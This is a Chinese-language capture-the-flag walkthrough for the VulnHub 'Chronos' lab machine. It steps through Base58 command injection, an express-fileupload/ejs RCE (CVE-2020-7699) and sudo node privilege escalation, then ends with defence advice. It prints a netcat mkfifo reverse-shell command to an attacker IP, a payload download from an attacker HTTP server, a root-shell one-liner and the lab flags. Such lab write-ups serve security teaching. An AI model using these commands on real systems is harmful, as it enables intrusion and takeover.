Chronos靶机渗透
字数 1294 2025-08-12 11:33:49
Chronos靶机渗透教学文档
靶机概述
- 名称:Chronos
- 难度:中等(Medium)
- 推荐运行环境:VirtualBox优于VMware
- 下载地址:VulnHub Chronos
- 目标IP:10.8.1.251
初始信息收集
端口扫描
发现开放以下端口:
- 22 (SSH)
- 25 (SMTP)
- 80 (HTTP)
- 110 (POP3)
- 8000 (HTTP)
Web服务分析
- 访问80和8000端口,无明显可利用点
- 查看源码发现可疑URL:
http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL - 需要将
chronos.local添加到/etc/hosts文件进行解析
漏洞利用
Base58命令注入
-
发现format参数后的字符串可能是Base58编码的命令
-
解码
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL发现是日期命令 -
尝试直接注入命令:
- 输入非Base58字符会报错
- 使用Burp Suite拦截请求,发现User-Agent为"Chronos"
-
命令注入步骤:
- 将命令用Base58编码后附加到format参数
- 示例:
pwd编码为5JeBr9q,执行后返回/opt/chronos- 查看
/etc/passwd发现只有imera用户
反弹Shell
-
准备反弹Shell命令:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.1.169 1234 >/tmp/f -
将上述命令Base58编码为:
2gxfnU3zJpKCbHYT5fzvYdqM2TL9waXViedX88Z8vgmKyvFDw7fCgTnFfh8qwVeVw6NkvRhjRzq3iDgmko7c7TeM5AksHZV6oe5 -
本地监听端口1234,执行编码后的命令成功获取Shell
-
升级Shell:
python -c 'import pty;pty.spawn("/bin/bash")'
深入渗透
发现express-fileupload服务
- 在
/opt目录发现chronos-v2和backend目录 - 发现express-fileupload服务监听8080端口
CVE-2020-7699漏洞利用
- ejs模板引擎存在原型污染导致的RCE漏洞
- 利用步骤:
- 从https://blog.p6.is/Real-World-JS-1/获取利用代码
- 修改代码适配目标8080端口
- 本地开启HTTP服务(
python -m http.server 80) - 靶机下载shell.py到
/tmp目录 - 赋予执行权限并执行,成功获取反弹连接
权限提升
获取用户flag
- 进入
/home/imera目录 - 查看
user.txt获得flag:byBjaHJvbm.9zIHBlcm5hZWkgZmlsZSBtb3UK
sudo提权
-
执行
sudo -l发现:- 可以无密码执行
/usr/local/bin/npm * - 可以无密码执行
/usr/local/bin/node *
- 可以无密码执行
-
使用node提权:
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})' -
成功获取root权限,读取root flag:
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
关键工具和技术总结
- Base58编码/解码:用于命令注入绕过
- Burp Suite:拦截和修改HTTP请求
- Netcat:建立反弹Shell
- Python PTY:Shell升级
- CVE-2020-7699:express-fileupload漏洞利用
- Node.js子进程:用于sudo提权
防御建议
- 对用户输入进行严格过滤和验证
- 避免使用危险函数直接执行用户输入
- 及时更新存在已知漏洞的组件
- 遵循最小权限原则配置sudo权限
- 禁用不必要的服务和端口